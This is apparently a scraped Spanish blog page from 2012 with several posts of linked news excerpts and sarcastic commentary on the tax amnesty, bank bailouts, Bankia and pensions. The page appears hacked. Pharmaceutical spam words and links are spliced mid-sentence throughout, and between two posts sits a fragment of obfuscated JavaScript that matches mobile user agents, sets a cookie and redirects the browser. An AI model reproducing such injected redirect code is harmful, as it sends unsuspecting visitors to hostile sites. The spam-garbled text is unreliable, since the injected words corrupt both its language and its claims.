• La consulta soberanista, la dimisión de Aguirre y el Ecce Homo triunfan en la Lotería de Navidad

    http://www.lavanguardia.com/ocio/20121130/54356787205/loteria-navidad-numeros-buscados.html

    El Gobierno hace filigranas y encaje de bolillos. No es tan artista  como eran  los maestros de la simulación , Felipe y Aznar, pero aprenden rápido gracias a que los buscadores de rentas están dispuestos a hacer el favor que sea al Gobierno para que  éste les ayude como sea a  salvar las cuentas de resultados   del año

    http://www.bde.es/f/webbde/SES/Secciones/Publicaciones/InformesBoletinesRevistas/BoletinEconomico/12/Nov/Fich/be1211-art2.pdf

    Cuando haya que reformar el Presupuesto  de Ayudas Fiscales de 2013

    http://www.elblogsalmon.com/tag/presupuestos-generales-del-estado-2013

    La existencia de ese nuevo  toma y daca de favores mutuos entre gente desesperada  acaba de comprobarse cuando se ha publicado el  inesperado comportamiento de  la inflación PIC de Noviembre

    http://www.lavanguardia.com/economia/20121130/54356811191/la-inflacion-interanual-baja-seis-decimas-y-se-situa-en-el-2-9.html

    Que parece demasiado debida a un extraño  abaratamiento del precio de los combustibles  por parte de las refinadoras  que forzó hace un par de meses el  Ministro  Soria

    http://www.20minutos.es/noticia/1585377/0/jose-manuel-soria/petroleras/precio-gasolina/

    Para que  el IPC interanual de noviembre, es el que se utiliza como indicador de referencia para la actualización de las pensiones ,  sea sólo de unos 3.800 millones de euros

    http://www.elconfidencial.com/economia/2012/11/30/el-ipc-cae-hasta-el-29-y-recorta-la-factura-por-las-pensiones-a-3800-millones-110275/

    El Gobierno tiene tanto pavor a que las  constructoras & bancos no ayuden el tránsito financiero  de las hipotecas subprime al Banco Malo que

    http://www.elconfidencial.com/economia/2012/11/15/francisco-gonzalez-bbva-se-enfrenta-a-de-guindos-al-negarse-a-entrar-en-el-banco-malo-109251/

    Que corre  a  ayudarles en  las CPG  de  las empresas concesionarias de  de autopistas

    http://www.arndigital.com/economia/noticias/4338/fomento-sube-al-80-la-ayuda-a-las-concesionarias-de-autopistas-y-cubre-sus-perdidas-para-evitarles-la-quiebra/

    Tanto miedo como el BBVA tiene al Santander

    http://economia.elpais.com/economia/2012/11/27/actualidad/1354032574_992357.html

    Acuenta del reparto del  despiece de las Cajas de Ahorro que van a ser nacionalizadas

    http://elprogreso.galiciae.com/nova/212052.html

    Tanto miedo como el que tiene  Guindos de Montoro

    http://www.elmundo.es/elmundo/2012/11/25/economia/1353857997.html

    Tanto miedo como el que tiene  el triste  Andreu Mas collell
    http://www.vozpopuli.com/economia/17907-el-consejero-mas-colell-comunica-a-mas-que-no-cuente-con-el-para-seguir-pilotando-la-politica-economica-de-la-generalitat

    al loco de Artur Mas

    http://www.lavanguardia.com/politica/elecciones-catalanas/20121127/54355875243/por-que-ciu-vio-un-espejismo-m-dolores-garcia.html

    Es decir, que Esto se derrumba por la forzosa enorme y rápida transferencia de capital  desde las familias a las AAPP. Y, frente a esa realidad, está Montoro buscando dinero  ofreciendo una barata regularización de  activos

    http://ccaa.elpais.com/ccaa/2012/11/28/valencia/1354130154_750639.html

    De toda clase  opacos al Fisco
    http://www.vozpopuli.com/nacional/17973-el-juez-llamara-como-imputados-a-medio-centenar-de-empresarios-por-blanquear-con-la-mafia-china

    Qué pensarán los trabajadores  del ERE  de Pills Iberia de la Amnistía Fiscal que hoy comenzará a  a tramitarse?

    http://www.expansion.com/2012/11/23/empresas/transporte/1353663516.html

    Y ¿que pensarán  de esa  Amnistía Fiscal  los asalariados que cobran como pensionistas?

    Carlos Fonseca cuenta que en el ‘Manual de Políticas Globales de Prevención del Blanqueo de Capitales y de la Financiación del Terrorismo’ aprobado por el consejo de administración de la entidad el 16 de junio de 2011 y enviado al juez del “caso Bankia”, Fernando Andreu

    http://www.elconfidencial.com/espana/2012/11/23/bankia-tiene-23385-clientes-clasificados-de-lsquoalto-riesgorsquo-por-blanqueo-de-capitales-109775/#

    «Veintitrés mil clientes de Bankia estaban clasificados en febrero de 2011 como de “alto riesgo” por su posible vinculación con el blanqueo de capitales. Medio millón más tenía “medio riesgo” y la inmensa mayoría, más de cuatro millones, el 88% de los impositores de la entidad, no presentaban ningún problema.

    Bankia remitió al magistrado un análisis de sus clientes nuevos y ya existentes a la fecha antes citada, en la que especifica que 23.385 reúnen un perfil de alto riesgo, un 0,51% del total, de los cuales el 81% son personas físicas y el 19% jurídicas. El Cheap banco identifica a estos clientes en sus fichas con “banderas”. Si figura en listas negras internacionales (bandera negra); personas con responsabilidad pública (funcionarios de alto nivel en países diferentes de España, socios, familiares y allegados), o residente en país o sector de riesgo (bandera roja). Entre los primeros, Bankia tiene clasificados a dieciséis clientes, y entre los segundos, a once.

    El mayor número de estos clientes de “alto riesgo” (19.180) están marcados con bandera amarilla, que identifica a los naturales de países de riesgo y a los españoles que residen ellos. Los restantes 4.178, hasta sumar la cifra arriba citada, están clasificados con bandera blanca porque trabajan en un sector considerado de riesgo de blanqueo de

    Pero, además, hay un argumento jurídico que permitiría salvar la cara a Hacienda después de las negativas de los últimos días. Se trata del segundo informe de la Dirección General de Tributos sobre la regularización, en que se despejan las últimas dudas sobre cómo hay que acogerse a ella (por ejemplo, no incluye los fondos de inversión en paraísos fiscales). Este informe se publicó a finales de octubre, y el Ministerio podría escudarse en que muchos interesados en regularizar no han tenido prácticamente tiempo después de que se publicara para poner en orden sus cuentas. Asimismo, la nueva Ley de medidas antifraude que se aplicarán a quienes no acudan a la amnistía ha entrado en vigor este mismo mes»

    Los Técnicos del Ministerio de Hacienda (Gestha) estiman que la amnistía fiscal ha reportado a la AEAT  unos ingresos máximos de 149,6 millones de euros hasta octubre, el 6% de la recaudación total prevista por el Gobierno, de 2.500 millones de euros. En un comunicado, Gestha considera una «misión imposible» cumplir las expectativas iniciales, ya que Hacienda debería ingresar el 94% de lo previsto por el Ejecutivo en lo que queda de mes.

    http://www.eleconomista.es/interstitial/volver/directm12/economia/noticias/4432491/11/12/La-amnistia-fiscal-ha-recaudado-1496-millones-hasta-octubre-.html

    “En un comunicado, Gestha considera una «misión imposible» cumplir las expectativas iniciales, ya que Hacienda debería ingresar el 94% de lo previsto por el Ejecutivo en lo que queda de mes.  demás, asegura que la puesta en marcha de esta medida ha tenido un efecto negativo en otros ingresos tributarios, puesto que ha provocado una disminución del 20% de la recaudación inducida, que engloba aquellas declaraciones voluntarias presentadas fuera de plazo para evitar sanciones”

    José Pills María Camarero explica el esfuerzo desplegado por Hacienda para  explicar  los riesgos de no acogerse a la amnistía fiscal

    http://www.finanzas.com/noticias/economia/fiscalidad/20121020/conozca-riesgos-acogerse-amnistia-1582343.html

    Sobre todo cuando los  asesores de los defraudadores no tenían claro  si la  Agencia Tributaria iba a  obligar a los ciudadanos a personarse directamente en su Administración de Hacienda eliminando  la confidencialidad de la Amnistía

    http://www.expansion.com/2012/11/23/economia/1353626614.html

    Así que, como dice  la periodista Mercedes Serraller  , la avalancha de ciudadanos que han decidido acogerse a la Amnistía fiscal en el último minuto que preveía Hacienda se ha producido. Pero los interesados ahora no son titulares de cuentas y bienes opacos sino que vienen con fajos de billetes y los bancos les hacen muchas preguntas

    http://www.expansion.com/2012/11/28/economia/1354135067.html?a=a1d9aeb68895a289ddd7f219714a6c75&t=1354218637

    “El procedimiento es sencillo: basta con abrir una cuenta en un banco y realizar la declaración. Sin embargo, según están descubriendo quienes intentan regularizar efectivo ahora, deben rellenar numerosos formularios, como el S1, que pide la banca para quien mueva más de 100.000 euros. O, incluso, formularios propios de cada entidad que preguntan sobre residencia fiscal, actividad que se desempeña, condición de persona políticamente expuesta, entre muchas otras. Así lo requieren los formularios del Banco Santander, por ejemplo, que quiere saber si se es autónomo o profesional, si el interesado se dedica al negocio de joyas u obras de arte o a importación de bienes costosos, el origen de los fondos o del patrimonio, o si los ingresos tienen origen inmobiliario, entre otras muchas cuestiones. Al principio, Hacienda excluyó del Decreto de marzo que lanzó la amnistía el dinero en efectivo pero, en la Orden Ministerial de 4 de junio que publicó el Modelo de declaración, lo incluyó. Llovieron las críticas de quienes apuntaban que se incitaba a blanquear dinero sin origen acreditado e, incluso, a operar en B hasta noviembre y luego regularizar”

    Manuel Conthe: la regularización fiscal de bienes ocultos

    http://www.expansion.com/blogs/conthe/2012/11/11/la-regularizacion-fiscal-de-bienes.html

    – Al sujetar a tributación bienes hasta ahora ocultos, mitigará la violación máxima del principio de igualdad, que se da cuando esas rentas y bienes permanecen ocultos y no tributan nada..  La contradicción con principios constitucionales sólo produce inconstitucionalidad cuando no hay razones que la justifiquen. Pero el agobiante déficit presupuestario y las dificultades de financiación del Estado hacen de interés general una regularización fiscal, a un tipo del 10%, dirigida a obtener ingresos extraordinarios.. Incluso si buy vasodilan el Tribunal Constitucional declarara inconstitucional la regularización fiscal -cosa muy improbable-, la nulidad no tendría efecto retroactivo, ni relevancia práctica: quienes se acojan a ella no podrán ser sancionados en el futuro, en virtud de los principios de seguridad jurídica -que el propio Tribunal aplicó cuando declaró inconstitucionales normas fiscales que perjudicaban al contribuyente- y de confianza legítima.

    3. ¿Se extralimitó la Orden Ministerial (en particular, al admitir la regularización de efectivo, mediante una mera declaración del defraudador)?. Para unos, resulta exorbitante que un RDL no sólo regule cuestiones tributarias reservadas a la Ley ordinaria, sino que delegue su posterior desarrollo por Orden Ministerial.. Pero se señaló también que la Orden fue aprobada en uso de las habilitaciones contenidas en el RDL y fue informada favorablemente order duphalac generic name por el Consejo de Estado. Además, la Audiencia Nacional ha rechazado, por falta de legitimación, el recurso contencioso presentado por el PSOE contra la Orden.. Conclusión. ¿Qué ingresos extraordinarios producirá la regularización?. La de Italia de 2009, a un tipo del 5%, produjo  5.000 millones de euros. La de Alemania en 2005, a un tipo del 25%, apenas alcanzó 900 millones de euros.. La escasa recaudación obtenida hasta ahora en España carece de toda relevancia: como es habitual, el grueso de las declaraciones se producirá poco antes de la fecha límite, el próximo 30 de noviembre»

    José María  Peláerz: El mundo tributario  , al revés

    http://www.cincodias.com/articulo/opinion/mundo-tributario-reves/20121122cdscdsopi_4/

    «Desde el punto de vista jurídico, la amnistía se ha convertido en una auténtica chapuza, ya que ha sido aprobada por un Real Decreto-Ley, modificado a los pocos días por otro posterior, y desarrollado por una orden ministerial que, sin tener cobertura legal para ello, amplió su contenido. La Dirección General de Tributos ha emitido dos informes, ampliando aún más su contenido, y la Dirección General del Tesoro ha emitido dos notas para tranquilizar a los que quieran pagar en el sentido de que no van a tener problemas con la legislación sobre el blanqueo de capitales.

    Desde el punto de vista operativo, con la amnistía se han cambiado los papeles. Una de las funciones de la Agencia Tributaria es perseguir a los que no quieren pagar sus impuestos, a veces infructuosamente porque tienen a su alcance los paraísos fiscales, y la colaboración de expertos en planificación internacional, que les ayudan a ocultar las rentas en dichos territorios, mediante complejas estructuras fiduciarias. «

    Manuel L. Torrents contaba en Octubre pasado

    http://www.vozpopuli.com/economia/15593-belen-romana-en-dos-anos-las-principales-empresas-espanolas-seran-compradas-por-extranjeros

    “ Finch se reunió con Nadal (diputado por Albacete, además; abogado y economista por Icade con ph. D. en Harvard) quien, además hablar sobre muchos otros asuntos, afirma que la actividad sumergida “es un gran problema que crece http://www.ademkotan.com/?p=2365 a medida que la economía retrocede; cada vez hay más gente trabajando en empleos informales y sin papeles y cada vez hay más pequeños negocios que encuentran la manera de eludir el pago de impuestos con las nóminas y el IVA”.

    Los ingresos del estado, de esta manera, “han caído mucho más de lo que cabría esperar”, debido a la crisis, pero también a que esto “es un problema cultural”. Así, el Gobierno intenta con todas sus fuerzas luchar Buy contra este fraude: “desde que hemos tomado las riendas, la detección del fraude de empresas y contribuyentes particulares ha aumentado un 25%. Hemos congelado la contratación de empleados públicos, excepto inspectores de Trabajo y Hacienda”.

    Lo importante es saber, después de la Amnistía Fiscal,  si los altos cargos de la Agencia Tributaria que dirige la pauta política del Ministro Montoro van a ser capaces de mejorar la capacidad real existente para perseguir el fraude fiscal. Es sabido que el pago de los impuestos depende mucho de la reputación que posean los recaudadores como perseguidores del fraude. Durante años, y a lo largo de diversos ministros de distinto signo ideológico, la efectividad de la Agencia se ha encontrado con resistencias políticas basadas en los posibles perjuicios para con la actividad y/o el empleo y también con una aparente falta de conocimiento de los flujos de renta de los ciudadanos. La Agencia siempre ha cubierto objetivos por debajo de su potencial y repetidamente a remolque de las actuaciones de ingeniería fiscal diseñada por consultores, abogados, auditores y conseguidores. Pero ahora lo que les importa a los ciudadanos que prefieren cumplir con las leyes pagando sus impuestos, y también para aquellos que no pueden escapase  a ello porque sus ingresos están casi exclusivamente sujetos a las retenciones por IRPF, es que aumente rápidamente el grado de eficacia de la lucha contra el fraude. Porque si no fuese así surgiría de manera inevitable la necesidad de volver a incrementar la presión fiscal indirecta que tanta inflación genera,

    http://www.lavanguardia.com/politica/20111109/54237957733/la-subida-de-impuestos-es-ahora-la-unica-posibilidad.html

    Para que los ciudadanos no se rebelen contra el Gobierno  Montoro necesita conseguir  el dinero de la Amnistía Fiscal, pero, sobre todo,  de los defraudadores  haciendo muchísimo  ruido, como hizo Josep Borrell con  la Lola Flores

    http://www.revistavanityfair.es/articulos/exclusiva-entrevista-a-josep-borrell/13590

    Así evitaría hacer visible la  Amnistía fiscal de la mafia china

    http://www.elmundo.es/elmundo/2012/10/16/espana/1350370145.html

    O para el promotor  de fiestas, Miguel Ángel Flores

    http://www.lavanguardia.com/local/madrid/20121129/54356779404/noticias-de-la-comunidad-de-madrid-mas-destacadas-en-la-prensa-de-hoy-jueves-29-de-noviembre-de.html

    No se gasten el dinero en el Puente que viene: para quien todavía  lo tenga, muy buen día de trabajo y que no se fíen de los políticos que dicen,  y repiten una y otra vez,  que pronto llegará la recuperación económica  y el trabajo y los salarios.

    http://www.elmundo.es/elmundo/2012/03/18/espana/1332102113.html

    Gracias por la lectura y difusión de este trabajo y no se fíen de nadie. Sean egoístas y exijan, ahora que los políticos les tienen miedo, que sean todos los españoles, ricos y pobres, deudores o hacedores, los que paguen  en las nuevas medidas de ajuste cuando el Gobierno tengan que revisar a la baja los recientemente aprobados  Presupuestos 2013.

    Manuel.portela@arrakis.es

    www.agendadeprensa.org

  • Lo razonable es que no se crean nada de lo que les dicen los que mandan

    Lo que importa en el saneamiento bancario es que ustedes , jóvenes y maduritos van a tener que pagar más dinero que el que les han dicho; todos los bancos por valvar cuentan con un  llamado esquema de protección de activos que absorberá el 72,5% de las pérdidas de la cartera (aún por determinar) de crédito a pymes y autónomos.. Eso significa lo que ya suponen y están pensando, que si en el futuro alguien no paga un crédito al banco ahora salvado, usted seguirá pagando por nuevo agujero  que debe ser salvado. Eso es lo que Order ha pasado con El Sabadell absorbiendo la CAM y ahora con el Santander absorbiendo el Banco de Valencia. Ya verán como sucede lo mismo  con Bankia y con NovaGalicia.  que  pagarán ustedes, los  el de siempre. En vez de a Rato & Blesa o a  Menez &  Gayoso y compañía, es  a ustedes a los que  & les van a pasar por la piedra .

    ¿En quien creen ustedes que piensa Montoro cuando piensa en el  sexo?  . Pues, claro es, evidentemente, en los pensionistas. Por supuesto, no en grupo  , pero si de uno en uno, bien seleccionados por edad y peso sin que haya separación eclesiástica de género . Los prejubilados  pasarán los primeros por la piedra  y luego irán  los viejos  por que  aquellos  pesan  en  las cuentas públicas  durante más tiempo  que los segundos . Como la ideología oficial del PP abomina  de la idea de la discriminación positiva,  el edecán de Montoro  separará, cuando le vea pensar en el sexo, los gruesos y bajitos  de los largos y enjutos, que los primeros, teniendo más resistencia a la intemperie, resultan más dóciles  que los segundos, que tienden, por vivir como concentrados en si mismos,  a la intemperancia y rebeldía. Así que, para éstos últimos, Montoro  va a carecer de deseo alguno. Se limitará a dejarlos emigrar a Australia  y  al auxilio de Cáritas y a  lo que quede de las subvenciones del Estado de Bienestar . http://www.vnwtg.nl/?p=6695 Una vez que Rajoy  haya  terminado por arruinar la ruina que dejó Zapatero para que Guindos  cumpla con el ajuste fiscal  prometido a Bruselas seguramente que   Montoro ya habrá aplacado  tanto el  impulso sexual que ya no pensará más  encontrar nuevos objetos & sujetos a los que pasar por la piedra. Así es como  los jóvenes  se habrán salvado de conocer algo  del priapismo que  el pago de la deuda  produce entre  aquellos  políticos europeos que, por azar de la vida,  han tenido la suerte de hacerse  con estables parlamentarias  absolutas. Los jóvenes no pasarán de inmediato por la piedra, pero, a cambio, tendrán que ahorrar por su cuenta si no quieren  tener que cotizar el doble para poder tener lo mismo.

    http://www.diarioabierto.es/91765/el-gobierno-regana-a-la-banca-por-vender-planes-de-pensiones-con-sartenes

    El dinero que se va a destinar para limpiar los balances de las entidades débiles y llevar a cabo la reestructuración de sus plantillas y sucursales supera los 106.500 millones de euros

    http://www.eleconomista.es/interstitial/volver/ing_19jul2012/

    Irene Lozano: El zulo Bankia

    http://www.elconfidencial.com/opinion/palabras-en-el-quicio/2012/11/23/el-zulo-bankia-10267/

    “La fase de instrucción del caso Bankia transcurre en un zulo. Se trata de una sala ubicada en los sótanos de la Audiencia purchase duetact oil Nacional, cuyas dimensiones no sobrepasan los 30 metros cuadrados. En ella se amontonan cada día en torno a 40 personas, sentados en sillas que no distan más de diez centímetros unas de otras. Sólo el juez dispone de mesa, los demás anotan lo que pueden sobre sus rodillas, cuidándose de no meter el codo en el ojo al de al lado. Desde que hace unas semanas comenzaron los interrogatorios, imputados, abogados y demás personal se agolpan cada mañana ante las puertas del zulo con antelación. Cada día se juega también a las sillas y los últimos se quedan de pie. Uno de los asistentes, con presunto dolor de pies, pidió el otro día permiso para ocupar una silla que había tras el juez”

    Manuel Pardos afirma que Purchase el plan de rescate bancario de la Comisión Europea «constituye una ilegalidad manifiesta que trata de resolver el problema de un fraude reconocido por todo el mundo cargando el coste en cientos de miles de familias ahorradoras engañadas» y ha cifrado en 3.000 millones de euros las pérdidas de las «víctimas» de las preferentes.

    http://www.cotizalia.com/noticias/2012/11/28/adicae%2Dcifra%2Den%2D3000%2Dmillones%2Dlas%2Dperdidas%2Dde%2Dlas%2Dfamilias%2Dvictimas%2Dde%2Dlas%2Dpreferentes%2D7169/

    «Ante esta situación, que afecta a casi 400.000 familias víctimas del fraude de las preferentes y engañados con la comercialización de emisiones de deuda subordinada, se ponen en riesgo casi la mitad de los ahorros de los afectados, que podrían afrontar pérdidas de 4.700 millones de euros», indica. Por ello, Adicae presentará una denuncia contra la Comisión Europea, que trasladará igualmente http://queenster.com/buy-estrace-pills-online/ al Defensor del Pueblo Europeo. Además, ha convocado movilizaciones para el 1 de diciembre ante las sedes de las entidades nacionalizadas y ante el Banco de España»

    Enrique Benito: ¿Por qué los bancos no prestan?

    http://www.cotizalia.com/opinion/pon-tu-talento-a-trabajar/2012/11/08/por-que-los-bancos-no-prestan-7667/

    l FROB adjudicó ayer el nacionalizado Banco Order de Valencia a CaixaBank  por el precio de un euro, limpia de ladrillo, recapitalizada con fondos europeos y bajo un esquema de protección de activos (EPA) sobre el crédito a pymes.

    http://www.cincodias.com/articulo/mercados/caixabank-hace-banco-valencia-euro/20121127cdscdsmer_10/

    Nuño Rodrigo: Al final, el que paga siempre es el mismo. Por cierto, en la nota de prensa que ha remitido Bruselas hoy figura el dato del coste total para el contribuyente de las tres entidades nacionalizadas: 67.000 millones.

    “El Frob pondrá en marcha un esquema de protección de activos que absorberá el 72,5% de las pérdidas de una cartera (aún por determinar) de crédito a pymes y autónomos… Eso significa lo que están pensando, que si alguien online no paga un crédito al Banco de Valencia, paga el de siempre. Las condiciones, mil millones arriba o abajo, se han repetido en otras operaciones. La compra de Sabadell por CAM o la de Unnim por BBVA incluían esquema de protección de activos, recapitalización y traspaso de activos al banco malo.”. Sostiene Almunia, y el Gobierno, que era más barato poner dinero en Banco de Valencia que liquidarlo. Puede ser, aunque Banco de Valencia tenía un volumen de activos de 20.000 millones, y se le han inyectado 1.000 el año pasado y otros 4.500 ahora, sin contar con las pérdidas que sufra el esquema de protección de activos. Eso, para una entidad que en el escenario adverso de Oliver Wyman necesitaba 3.400 millones de euros de capital. Y que hace poco más de un año era fuerte como un roble. Curioso, ¿verdad?”

    El Frob adjudicará CatalunyaCaixa a Botín en enero

    http://www.economiadigital.es/es/notices/2012/11/el_frob_adjudicara_catalunyacaixa_a_botin_en_enero_35543.php

    La CNMV abre17 expedientes sancionadores a 9 grupos financieros por realizar malas prácticas en la comercialización de participaciones preferentes por un valor de 5.900 millones de euros.

    http://www.abc.es/economia/20121120/abci-cnmv-expendientes-bancos-cajas-201211201916.html

    Manuel Conthe, ex presidente de la CNMV, ha asegurado hoy que los inversores en productos financieros «complejos» como las participaciones preferentes son víctimas de «un factor de mala suerte» que «nadie preveía».
    http://www.cotizalia.com/noticias/2012/11/23/conthe%2Dexculpa%2Da%2Dla%2Dcnmv%2Dde%2Dla%2Dventa%2Dmasiva%2Dde%2Dlas%2Dpreferentes%2D7066/

    La tasa de morosidad mantiene su imparable escalada. En septiembre encadenó el cuarto máximo histórico consecutivo, hasta llegar al 10,71%. De mantenerse el ritmo actual, el volumen de créditos impagados rozará los 200.000 millones al cierre del 2012, desde los 182.226 millones actuales

    http://www.cincodias.com/articulo/mercados/creditos-impagados-rozaran-200000-millones-cierre-2012/20121119cdscdsmer_17/

    Gonzalo Garteiz_: Reyal Urbis presenta a la CNMV una increíble tasación de sus activos, que aumentan de valor mientras se agudiza la crisis

    http://www.lacelosia.com/reyal-urbis-presenta-a-la-cnmv-una-increible-tasacion-de-sus-activos-que-aumentan-de-valor-mientras-se-agudiza-la-crisis/?utm_source=rss&utm_medium=rss&utm_campaign=reyal-urbis-presenta-a-la-cnmv-una-increible-tasacion-de-sus-activos-que-aumentan-de-valor-mientras-se-agudiza-la-crisis

    Bankia y la financiación de los partidos políticos

    http://www.vozpopuli.com/economia/17679-el-juez-investiga-los-creditos-concedidos-a-los-partidos-por-las-siete-cajas-de-bankia

    Es decir, que Esto se derrumba por la forzosa enorme y rápida transferencia de capital  desde las familias a las AAPP. Y, frente a esa realidad, está Montoro buscando dinero  ofreciendo regukarizar barato toda clase de actuvo oculto al Fisco

    Gracias por la lectura y difusión de este trabajo y no se fíen de nadie. Sean egoístas y exijan, ahora que los políticos les tienen miedo, que sean todos los españoles, ricos y pobres, deudores o hacedores, los que paguen  en las nuevas medidas de ajuste cuando el Gobierno tengan que revisar a la baja los recientemente aprobados  Presupuestos 2013.

    Manuel.portela@arrakis.es

    www.agendadeprensa.org

    4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Donde no  hay harina, todo es mohina

    Pobre Artur  Mas  , que como  siga así se va a quedar sin pensión

    http://www.youtube.com/watch?v=FtKfIenUXY8

    Y pobre Andreu Mas Collell , que se va a quedar sin cátedra donde volver a enseñar  como se hace política económica
    http://www.elconfidencial.com/espana/2012/10/22/el-conseller-de-economia-de-mas-le-pide-tiempo-para-decidir-si-continua-107681/

    Cuando todos los analistas del mundo mundial dicen que la lucecita que se ve al fondo del túnel es la de un lanzallamas

    http://www.estrategiasdeinversion.com/noticias/20121127/previsiones-ocde-2013-vivira-espana-peor-crisis

    Hay que ser tonto para  seguir diciendo que ya se ve la luz cuando Montoro va a tener que hacer horas extras (cotizadas) para rehacer  Los que autodenomina  Presupuestos más sociales de la historia de la http://review4boards.com/2018/02/02/how-much-keppra/ democracia española

    http://www.youtube.com/watch?v=5mGuYHZffDw

    De los que tan orgulloso quedó apenas  en Septiembre pasado

    q=montoropresenta+presupuestos&hl=es&tbo=u&tbm=isch&source=univ&sa=X&ei=4_a1UOXuL4yW0QWbh4G4DQ&sqi=2&ved=0CFAQsAQ&biw

    http://www.google.es/search?=964&bih=617

    Hay que ser tonto para dejar  que Rajoy siga repitiendo,  en cuanto confunde una alcachofa con un micrófono, que ya se ve la luz al final del túnel

    http://www.eleconomista.es/interstitial/volver/directm12/economia/noticias/4430471/11/12/Rajoy-insiste-en-que-la-economia-espanola-registrara-crecimiento-en-2014.html

    Hay que ser tonta para repetir , como hace la  fiel  Cheap Ministra de Trabajo, que ya está viendo una luz en el túnel  en cuanto la pasan un ERE a la firma

    http://www.huffingtonpost.es/2012/10/29/fatima-banez-espana-esta-_n_2038325.html

    Hay que ser tan  disciplinado como el  irritable   Ministro Soria como para insistir en que seguro que ve una lucecita en cuanto  ve llegar a cualquier  presidente de una eléctrica para pedirle el favor de cada mes

    rhttp://noticiasjovenes.com/index.php?name=News&file=article&sid=48412

    Hay que ser  tan ansioso  como el Presidente del BBVA  por  competir con Botín para  hacerse con  los restos saneados  de una Caja de Ahorros   como para ver ya ve lo que pocos ven

    http://economia.elpais.com/economia/2012/11/27/actualidad/1354032574_992357.html

    Porque, como todo do el mundo  sabe,  cada vez más familias sacan al abuelo de la residencia para vivir con su pensión

    http://www.malagahoy.es/article/malaga/1329311/cada/vez/mas/familias/sacan/abuelo/la/residencia/para/vivir/con/su/pension.html

    Y ni siquiera el Rey parece fiarse de la sanidad pública,  por ahora universal y gratuita,   porque necesita seguir  en el hospital Quirón  para recibir una  fisioterapia intensiva que allí deben dar

    http://www.huffingtonpost.es/2012/11/28/el-rey-juan-carlos-seguira-hospital_n_2202780.html?utm_hp_ref=spain

    Y ni siquiera pide excusas el agotado Ministro Guindos  por echarle la culpa a Bruselas  de los despidos en Bankia

    http://economia.elpais.com/economia/2012/11/26/actualidad/1353963143_737990.html

    Y ni siquiera el Banco de España pide perdón  a los inversores en preferentes  cuando se descubre que seis meses antes del colapso de Bankia, estimaba que al grupo BFA-Bankia le sobraba solvencia

    http://economia.elpais.com/economia/2012/11/18/actualidad/1353269381_953896

    Documento del Banco de España que revela la solvencia de Bankia.

    “En términos de TIER I —capital de mayor calidad— (10,81%) y TIER II (13,66%) la situación relativa de BFA [matriz de Bankia] es aún mejor gracias a la importante aportación de otras preferentes y de las financiaciones subordinadas al importe total de recursos propios computables del grupo. De ahí que el posible canje de estos instrumentos por otras de mayor calidad es uno de los argumentos que esgrime BFA para atender a las necesidades de recapitalización exigida por la EBA (autoridad

    Cuando les van a quitar el 50% de su inversión en los peferentes de Bankia

    http://www.economiadigital.es/es/notices/2012/11/los_tenedores_de_preferentes_de_bankia_tendran_una_quita_menor_al_50_35097.php

    A la vez que el que los empleados de los que se las vendieron  van a ser despedidos en masa a 20 días por año trabajado

    http://economia.elpais.com/economia/2012/11/24/actualidad/1353789346_922547.html

    Y el que mandó venderlas dice que su BMW de medio millón no era cómodo

    http://www.elmundo.es/elmundo/2012/11/27/economia/1354024824.html

    «Miguel Blesa ha relativizado los excesos de su gestión, empezando por el BMW blindado serie 7 que adquirió la entidad para él en plena crisis por 510.000 euros. El ex presidente de Caja Madrid ha asegurado en la Comisión de Economía del Congreso de los Diputados que él no tomó la decisión, pero que no era confortable. «Créanme -seguro que algunos han ido en coche blindado- que no es la cosa más cómoda del mundo», ha afirmado a los diputados. Ha explicado que había «un servicio en la caja que cuando el coche está viejo, roto o da problemas, compra otro coche y si los servicios de seguridad de la caja dicen que, por las razones que sean, el coche debe ser blindado, pues será blindado».

    Y  cuando  Gonzalo Rengifo, director de Pictet AM  asusta más todavía al ciudadano censado al decir  que, en España hace falta un ajuste del sector público superior al 50%”

    http://www.cotizalia.com/en%2Dexclusiva/2012/11/26/ldquoen%2Despana%2Dhace%2Dfalta%2Dun%2Dajuste%2Ddel%2Dsector%2Dpublico%2Dsuperior%2Dal%2D50rdquo%2D7077/

    Cuando su familia les pregunte  ¿quién se llevó el queso?

    http://www.youtube.com/watch?v=sZAs45FTlC8

